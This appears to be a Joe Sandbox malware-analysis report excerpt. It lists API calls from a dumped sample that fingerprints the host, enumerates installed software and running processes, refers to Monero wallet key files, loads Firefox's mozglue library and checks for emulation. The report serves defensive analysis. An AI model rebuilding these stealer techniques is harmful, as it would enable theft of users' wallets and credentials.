Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 455b8a679aa1d2a2b0d14a26a1c85209ce8bf39847b0fd21eafed407687f563e
Instruction ID: f20483b40bea3ee0737a9acaf1eb0292df7d49f856ded2c751cc4e75c35ad191
Opcode Fuzzy Hash: 455b8a679aa1d2a2b0d14a26a1c85209ce8bf39847b0fd21eafed407687f563e
Instruction Fuzzy Hash: 4D21B87AA40205A7D764F7A0EC49ED9333DE764700F404549B6CA97188EE7497C98B91

Function 01010740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00A58F08), ref: 0101079A
StrCmpCA.SHLWAPI(00000000,00A58F88), ref: 01010866
StrCmpCA.SHLWAPI(00000000,00A59008), ref: 0101099D

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 7fe4e3f975839fd8a2bc95c646b6f79147eabb3a10a99088655d48de986b4b52
Instruction ID: 12b9dc3af98a5b035cdddafb2dbb39b8a1e6aa1632e1238c7f6632099dff834d
Opcode Fuzzy Hash: 7fe4e3f975839fd8a2bc95c646b6f79147eabb3a10a99088655d48de986b4b52
Instruction Fuzzy Hash: B491A675B00249DFCB28EF64D995AEDB7B5FF94300F408119E84A8F285DB349B06CB81

Function 01010765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00A58F08), ref: 0101079A
StrCmpCA.SHLWAPI(00000000,00A58F88), ref: 01010866
StrCmpCA.SHLWAPI(00000000,00A59008), ref: 0101099D

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: e3cbb01f9efb3e991ff2152f9e57d906e83e70b02b997bd6dbcf0582333adbdc
Instruction ID: b55c9fbd14b7255c03a5ad6a8da05c0a73d328ecb0f1f5b2c9e70b6cce3a3d40
Opcode Fuzzy Hash: e3cbb01f9efb3e991ff2152f9e57d906e83e70b02b997bd6dbcf0582333adbdc
Instruction Fuzzy Hash: 7E819675B10249DFCB28EF64D994AEDB7B6FF94300F508119E84A9F245DB34AB06CB81

Function 010178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
RtlAllocateHeap.NTDLL(00000000), ref: 01017917
GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 43b2fc19d6f4f879c5b9401a6e5670f06f016c13127219255556d34217ce918f
Instruction ID: 76799c8f47c6fc9dcdf894da853776df2d69752832cbf4562ace2758fe54fe12
Opcode Fuzzy Hash: 43b2fc19d6f4f879c5b9401a6e5670f06f016c13127219255556d34217ce918f
Instruction Fuzzy Hash: 3F01A9B1944204EFD710DF99D949BAEBBF8F704B11F10425AF546E3284C37855048BA1

Function 6C5C3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5C3095

Part of subcall function 6C5C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
Part of subcall function 6C5C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
Part of subcall function 6C5C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
Part of subcall function 6C5C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
Part of subcall function 6C5C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
Part of subcall function 6C5C35A0: __aulldiv.LIBCMT ref: 6C5C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C309F

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5C30BE

Part of subcall function 6C5C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5C3127
Part of subcall function 6C5C30F0: __aulldiv.LIBCMT ref: 6C5C3140

Part of subcall function 6C5FAB2A: __onexit.LIBCMT ref: 6C5FAB30

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction ID: cac7d7eb4f2d4cef863a7c772e710718c67fc8a03a0eb8ca5bf42e0be1b219d5
Opcode Fuzzy Hash: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction Fuzzy Hash: 01F0D632E20748D6CB10FF759C815E6B374AFAB218F50D319E85863551FB2065D8838B

Function 01019470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 01019484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 010194A5
CloseHandle.KERNEL32(00000000), ref: 010194AF

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: fa4209b8a387bb29cd917cbed61602a4a7a189bd1ee95f5bcbcfbdc66fcdb030
Instruction ID: 113e9fb3092cef818576d353a080e3824b734d2469d93605af63416a203ce98d
Opcode Fuzzy Hash: fa4209b8a387bb29cd917cbed61602a4a7a189bd1ee95f5bcbcfbdc66fcdb030
Instruction Fuzzy Hash: ECF0547994020CFBEB15DF94DC4DFED7778FB08710F004494BA0A57184D6B45A85CB90

Function 01001110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0100112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 01001132
ExitProcess.KERNEL32 ref: 01001143

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 67505a5fda84d15429c014f2785630c48439c6f2e9dd10a70808eda29af1ce64
Instruction ID: b14bc6418a705a58dce4af23809a07362c270a096ef0273ab066f58b4f480002
Opcode Fuzzy Hash: 67505a5fda84d15429c014f2785630c48439c6f2e9dd10a70808eda29af1ce64
Instruction Fuzzy Hash: F5E0E674A85308FBF765ABA4AC0EB4D76B8EF04B05F504054F70A771C4D6B566009799

Function 01011A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01017500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01017542
Part of subcall function 01017500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0101757F
Part of subcall function 01017500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017603
Part of subcall function 01017500: RtlAllocateHeap.NTDLL(00000000), ref: 0101760A

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 01017690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 010176A4
Part of subcall function 01017690: RtlAllocateHeap.NTDLL(00000000), ref: 010176AB

Part of subcall function 010177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0101DBC0,000000FF,?,01011C99,00000000,?,00A5D840,00000000,?), ref: 010177F2
Part of subcall function 010177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0101DBC0,000000FF,?,01011C99,00000000,?,00A5D840,00000000,?), ref: 010177F9

Part of subcall function 01017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
Part of subcall function 01017850: RtlAllocateHeap.NTDLL(00000000), ref: 01017887
Part of subcall function 01017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

Part of subcall function 010178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017910
Part of subcall function 010178E0: RtlAllocateHeap.NTDLL(00000000), ref: 01017917
Part of subcall function 010178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0101792F

Part of subcall function 01017980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E00,00000000,?), ref: 010179B0
Part of subcall function 01017980: RtlAllocateHeap.NTDLL(00000000), ref: 010179B7
Part of subcall function 01017980: GetLocalTime.KERNEL32(?,?,?,?,?,01020E00,00000000,?), ref: 010179C4
Part of subcall function 01017980: wsprintfA.USER32 ref: 010179F3

Part of subcall function 01017A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00A5DEE8,00000000,?,01020E10,00000000,?,00000000,00000000), ref: 01017A63
Part of subcall function 01017A30: RtlAllocateHeap.NTDLL(00000000), ref: 01017A6A
Part of subcall function 01017A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00A5DEE8,00000000,?,01020E10,00000000,?,00000000,00000000,?), ref: 01017A7D

Part of subcall function 01017B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00A5DEE8,00000000,?,01020E10,00000000,?,00000000,00000000), ref: 01017B35

Part of subcall function 01017B90: GetKeyboardLayoutList.USER32(00000000,00000000,010205AF), ref: 01017BE1
Part of subcall function 01017B90: LocalAlloc.KERNEL32(00000040,?), ref: 01017BF9
Part of subcall function 01017B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 01017C0D
Part of subcall function 01017B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01017C62
Part of subcall function 01017B90: LocalFree.KERNEL32(00000000), ref: 01017D22

Part of subcall function 01017D80: GetSystemPowerStatus.KERNEL32(?), ref: 01017DAD

GetCurrentProcessId.KERNEL32(00000000,?,00A5D6A0,00000000,?,01020E24,00000000,?,00000000,00000000,?,00A5DF78,00000000,?,01020E20,00000000), ref: 0101207E

Part of subcall function 01019470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 01019484
Part of subcall function 01019470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 010194A5
Part of subcall function 01019470: CloseHandle.KERNEL32(00000000), ref: 010194AF

Part of subcall function 01017E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017E37
Part of subcall function 01017E00: RtlAllocateHeap.NTDLL(00000000), ref: 01017E3E
Part of subcall function 01017E00: RegOpenKeyExA.KERNEL32(80000002,00A4C470,00000000,00020119,?), ref: 01017E5E
Part of subcall function 01017E00: RegQueryValueExA.KERNEL32(?,00A5D640,00000000,00000000,000000FF,000000FF), ref: 01017E7F
Part of subcall function 01017E00: RegCloseKey.ADVAPI32(?), ref: 01017E92

Part of subcall function 01017F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 01017FC9
Part of subcall function 01017F60: GetLastError.KERNEL32 ref: 01017FD8

Part of subcall function 01017ED0: GetSystemInfo.KERNEL32(01020E2C), ref: 01017F00
Part of subcall function 01017ED0: wsprintfA.USER32 ref: 01017F16

Part of subcall function 01018100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00A5E0F8,00000000,?,01020E2C,00000000,?,00000000), ref: 01018130
Part of subcall function 01018100: RtlAllocateHeap.NTDLL(00000000), ref: 01018137
Part of subcall function 01018100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01018158
Part of subcall function 01018100: wsprintfA.USER32 ref: 010181AC

Part of subcall function 010187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E28,00000000,?), ref: 0101882F
Part of subcall function 010187C0: RtlAllocateHeap.NTDLL(00000000), ref: 01018836
Part of subcall function 010187C0: wsprintfA.USER32 ref: 01018850

Part of subcall function 01018320: RegOpenKeyExA.KERNEL32(00000000,00A5B008,00000000,00020019,00000000,010205B6), ref: 010183A4

Part of subcall function 01018320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01018426
Part of subcall function 01018320: wsprintfA.USER32 ref: 01018459
Part of subcall function 01018320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0101847B
Part of subcall function 01018320: RegCloseKey.ADVAPI32(00000000), ref: 0101848C
Part of subcall function 01018320: RegCloseKey.ADVAPI32(00000000), ref: 01018499

Part of subcall function 01018680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010205B7), ref: 010186CA
Part of subcall function 01018680: Process32First.KERNEL32(?,00000128), ref: 010186DE
Part of subcall function 01018680: Process32Next.KERNEL32(?,00000128), ref: 010186F3
Part of subcall function 01018680: CloseHandle.KERNEL32(?), ref: 01018761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0101265B

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
